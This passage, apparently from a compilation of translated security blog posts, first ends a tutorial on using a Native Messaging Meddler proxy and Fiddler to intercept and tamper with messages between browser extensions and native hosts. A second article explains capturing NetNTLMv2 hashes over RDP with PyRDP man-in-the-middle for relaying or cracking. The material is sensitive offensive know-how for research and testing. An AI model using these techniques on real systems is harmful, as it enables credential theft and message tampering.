Messaging功能的新擴展,它可能會對模擬有所幫助,但本文的重點是監視現有擴展與主機之間的通信。 好了,那就開幹吧。 首先,轉到Configure Hosts選項卡,該選項卡在註冊表中搜索您的PC上當前註冊的所有本機主機(Native Host): 我們的計劃是最終讓攔截本機主機成為一種點擊式體驗,但目前,我們只是使用該選項卡來查找我們要攔截的本機主機的文件系統位置。如果某個條目多次出現,請選擇優先級最低的實例。 例如,假設我們對Chrome瀏覽器中一些Windows-to-Web身份驗證場景中使用的BrowserCore主機感興趣。我們可以看到清單文件的位置,以及從清單文件中提取的EXE的名稱: 在某些情況下,您可能會發現Exe字段顯示“?”,如上面的vidyo條目那樣。這是因為,如果清單文件無法解析為合法的JSON,就會出現這種情況。 Chromium在寬鬆模式下使用定制的JSON解析器來解析清單,它允許JavaScript風格的註釋。但是NMM工具使用嚴格的JSON解析器,無法解析這些註釋。不過,這對我們的目的來說並不重要。 注意清單文件的位置,並在您選擇的編輯器中打開它。注意:如果該文件在特權位置,您可能需要以更高的權限來打開您的編輯器(以管理員身份)。 提示:您可以通過Alt+DblClick選擇一個項目,或者在選擇該項目時點擊Alt+Enter,以打開Windows資源管理器,找到清單的位置。 在清單中,通過在文件名末尾的.exe前引入.proxy一詞來改變路徑字段。 然後,請保存該文件。 注意:在某些情況下,即使是管理員也無法在默認情況下寫入該文件。在這種情況下,你需要使用管理員的權限來取得文件的所有權,以授予自己修改文件的權限。 當然,也還有其他不需要改變文件系統權限的方法,但我們在這裡就不做介紹了。 接下來,將nmf-view.exe文件複製到包含Native Host的文件夾中,並將其重命名為前面寫入清單的文件名。 現在,我們已經成功安裝了NMM代理。每當瀏覽器擴展下次試圖啟動Native Host時,它就會激活我們的NMM調試器,而NMM調試器又會生成原始的Native Host(在本例中是BrowserCore.exe),並代理兩者之間的所有信息。 現在,請訪問一個您可以登錄的網站,如https://office.microsoft.com。然後,點擊右上方的登錄按鈕,監視我們的調試器生成的Native Host,收集來自Windows 10 Accounts擴展的請求,將其傳遞給BrowserCore.exe,讀取Host的回复,並將其傳回擴展。我們的調試器允許我們從兩個方向讀取JSON消息的全文。 注意:這個截圖是經過編輯的,因為它包含秘密令牌。 幹的漂亮,是吧? 篡改消息當我完成所有這些工作時,我很興奮。同時,我也很失望……JSON的純文本渲染並不具有很好的可讀性,而且建立一個編輯消息的用戶界面工作量也很大。我感嘆……我在15年前就已經為Fiddler寫好了我想要的所有代碼。它同時具有JSON渲染和消息編輯功能……但是,現在我已經不再使用Fiddler,所以不能直接複製其源代碼了。 然後,我突然想明白了。我不需要在NMM中重新實現Fiddler的部分功能。我可以讓這些工具協同工作:NMM可以把它從瀏覽器擴展和Native Host收到的信息傳遞給Fiddler,如果Fiddler修改了信息,NMM就可以用修改後的信息來替代。 太棒了! 配置篡改過程首先,重新編輯manifest.json文件,在路徑中添加一個.fiddler組件,並將.proxy.exe文件重命名為.proxy.fiddler.exe,具體如下所示: 這段新的文字預示著你希望NMM開始使用Tamper using Fiddler選項設置。為了調試像BrowserCore.exe這樣的“single-shot”本地主機,我們不能直接使用NMM的監控選項卡右上方的複選框,因為調試器和本地主機生成和完成事務的速度比我們這些弱小的人類點擊鼠標的速度快得多。注意:您也可以指定字符串.log.以啟用將流量日誌寫到桌面上的選項。 現在,啟動Fiddler;可以使用-noattach命令行參數,這樣它就不會註冊為系統代理。在Web Sessions列表下的QuickExec框中輸入bpu ToApp並按回車鍵。 這將創建一個請求斷點,對所有包含ToApp字符串的請求都會觸發該斷點,NMM用它來記錄發送到原始Native Host的請求。 通過Fiddler的檢查器,我們可以使用JSON Treeview、TextView或SyntaxView檢查器來檢查消息的JSON。 如果我們對消息感到滿意,請點擊Run to Completion按鈕,這時,NMM應用程序就會把未經修改的原始消息發送到原始的Native Host。然而,如果我們想篡改消息,可以從下拉菜單中挑選一個成功響應,如200_SimpleHTML.dat: 這時,模板響應將出現在響應文本視圖中: 現在,請用您想要使用的文本覆蓋模板文本: ……然後按綠色“Run to Completion”按鈕。這時,Fiddler將修改後的文本返回給NMM代理,然後NMM代理將修改後的消息傳遞給原始Native Host: 就這裡來說,原始Native Host並不知道如何處理GetFiddledCookies請求,所以,它會返回一個錯誤,而該錯誤將傳回瀏覽器。 提示:如果您的目標是篡改從Native Host發送到擴展的消息,請在Fiddler的QuickExec框中輸入bpu ToExt。或者,您也可以使用Fiddler的其他篡改功能,比如讓它只攔截包含某些文本的消息,自動重寫某些消息,等等。 祝您閱讀愉快!
  25. 遠程桌面協議(RDP) 在網絡安全領域發揮的作用越老越大。勒索軟件組織將其作為攻擊公共和私營部門的抓手,在2019 年由遠程桌面協議引起的攻擊已經造成了75 億美元的損失。在2020 年,RDP 攻擊增長了768%。網絡安全與基礎設施安全局(Cybersecurity Infrastructure Security Agency)等機構在其2020年的《勒索软件指南》 (Ransomware Guide)中將RDP列為需要保護的焦點。而在另一方面,滲透測試團隊正在定期使用RDP作為在網絡內部進行橫向移動、劫持會話和捕獲哈希值等的有效工具。 GoSecure Titan Labs 團隊看到了進一步探索哈希捕獲主題的機會,這是任何進攻團隊的必備工具。本文將研究RDP 安全模式、它們如何工作以及如何使用PyRDP(GoSecure 創建的庫)通過RDP 協議將其付諸行動以捕獲NetNTLMv2 哈希。這一努力始於每年長達一個月的Hacktoberfest期間的一個項目,該項目導致了PyRDP的幾項改進。在這些改進中,我們讓用戶更容易捕獲NetNTLMv2哈希。 首先,我們將介紹一種用於攻擊性用例的技術,通過在NTLMSSP身份驗證期間捕獲NetNTLMv2哈希值來獲得對遠程RDP設備的訪問。為了將其付諸實踐,我們將利用PyRDP 在RDP 支持的兩個主要身份驗證場景中執行這些哈希的捕獲:啟用網絡級別身份驗證(NLA) 和不啟用NLA。為了更多地了解這兩種場景,讓我們從詳細介紹RDP 協議中可用的安全模式開始。 RDP 安全模式RDP 是一種通常用於通過TCP/IP 使用終端客戶端和服務器來遠程管理計算機的協議。目前,它提供了不同類型的安全模式來加密客戶端和服務器之間的通信: RDP 標準安全性:根據客戶端的支持和服務器選擇的加密級別(低、客戶端兼容、高、FIPS)對所有流量進行對稱加密。這種方法在中間人攻擊攻擊的情況下是最不安全的,因為服務器控制加密方法並可以決定是否不需要加密,從而完全禁用它。 RDP 增強安全性:通過外部協議提供加密和安全機制。其中兩種機制是:自RDP 5.2以來的TLS(傳輸層安全)和CredSSP,自RDP 6以來,除了使用TLS外,它還支持NLA(網絡級別認證)。帶有TLS的RDP還警告用戶,如果服務器的證書是自簽名的或不受信任的,可能會發生中間人攻擊,但它不會阻止客戶端接受風險。 當RDP 使用NLA 的增強安全性時,用於委派合適的身份驗證方法的協議是憑據安全支持提供程序(CredSSP)。這些授權的身份驗證方法是Kerberos 或NTLMSSP,後者是用於捕獲NetNTLMv2 哈希的身份驗證方法,這些哈希用於客戶端和服務器之間的質詢/身份驗證消息。 通過網絡級身份驗證剖析身份驗證為了理解NetNTLMv2 哈希捕獲,本節將詳細描述通過NLA 進行的身份驗證及其結構。為了簡化這個過程,我們將把它分成四個階段: 1.RDP 客戶端和服務器之間建立了TLS 連接; 2.CredSSP 的SPNEGO 為客戶端和服務器執行,以決定將使用哪種相互身份驗證協議:Kerberos 或NTLMSSP; 3.在這一步中,將發送服務器的公鑰進行驗證,並探測其真實性。這樣做是為了避免中間人攻擊; 4.一旦通過TLS 和SPNEGO 保護連接,客戶端就會發送其憑據以進行身份驗證。 我們的注意力將集中在最後一步,因為在使用NTLMSSP 協議的情況下,客戶端將以NTLM 消息的形式發送憑據的哈希版本並將被攔截。這些消息是ASN.1 編碼的TSRequest 結構,身份驗證數據按以下順序發送: 首先,客戶端發送一個NEGOTIATION消息來啟動NTLM認證,服務器端發送一個CHALLENGE消息來回應這個質詢。在這個階段,質詢是包含隨機數(用於防止重放攻擊的隨機字節序列)的64 位值。然後,客戶端使用個身份驗證消息來響應這個請求,該消息包含完成身份驗證過程所需的憑據。這是我們希望從客戶短中提取質詢響應(以 NTLMv2_RESPONSE 結構的形式)並進行中繼或破解的階段。 NTLMv2_RESPONSE結構很容易理解和解析,因為它只包含16字節的響應和可變大小的客戶端質詢。客戶端的質詢可以概括為使用從安全帳戶管理器(SAM) 或Active Directory (AD) 獲得的NT 哈希構建的LMv2 和NTv2 哈希,並使用HMAC-MD5對用戶和域名進行哈希。所有這些都形成了NetNTLMv2哈希,這是密碼破解工具如 John the Ripper 或 hashcat所需要的。 使用PyRDP 捕獲NetNTLMv2 哈希PyRDPi 是我們開發的一個庫,用於執行中間人攻擊並試驗RDP 協議。在中間人攻擊模式下,PyRDP有能力攔截NetNTLMv2哈希,即使它沒有實服務器的證書和私鑰,並且NLA是由服務器強制執行的。在本節中,我們將探索和描述兩種可以執行哈希捕獲的場景。 在第一種場景中,我們擁有受攻擊服務器的證書和私鑰。在本例中,RDP客戶端和服務器之間的交互將在CredSSP支持下進行,PyRDP將以兩種方式傳輸NTLMSSP消息。 NetNTLMv2捕獲是在RDP服務器發送CHALLENGE消息之後完成的,PyRDP從消息中提取服務器的CHALLENGE值,客戶端響應PyRDP記錄的哈希值,然後發送給RDP服務器繼續身份驗證過程。 我們最近實現了第二個場景:NLA 由服務器強制執行,但我們沒有服務器的證書和私鑰。在這個場景中,PyRDP將切斷與原始服務器的連接,並繼續進行客戶端連接和NTLMSSP身份驗證,以便執行前面所示的相同的NetNTLMv2提取。 PyRDP在接收到客戶端的NEGOTIATION消息後將生成CHALLENGE消息並發送它。通過這種方式,PyRDP可以控制質詢值,稍後將接收AUTHENTICATION消息。 為了說明這種攻擊,當PyRDP 在未啟用NLA 的情況下運行(默認值,請參見——auth標誌啟用NLA攻擊),並且客戶端試圖連接到執行NLA攻擊的服務器,然後從AUTHENTICATION消息的哈希提取之後,日誌如下所示: 請注意,在最後一個場景中,一旦提取了哈希,PyRDP 和客戶端之間的連接就會關閉,因為中間人攻擊進程無法完成服務器的連接,因為它受到NLA 的保護。 總結在本文中,我們展示了在RDP連接期間如何捕獲NetNTLMv2,以及PyRDP可以用作一種實用的攻擊工具。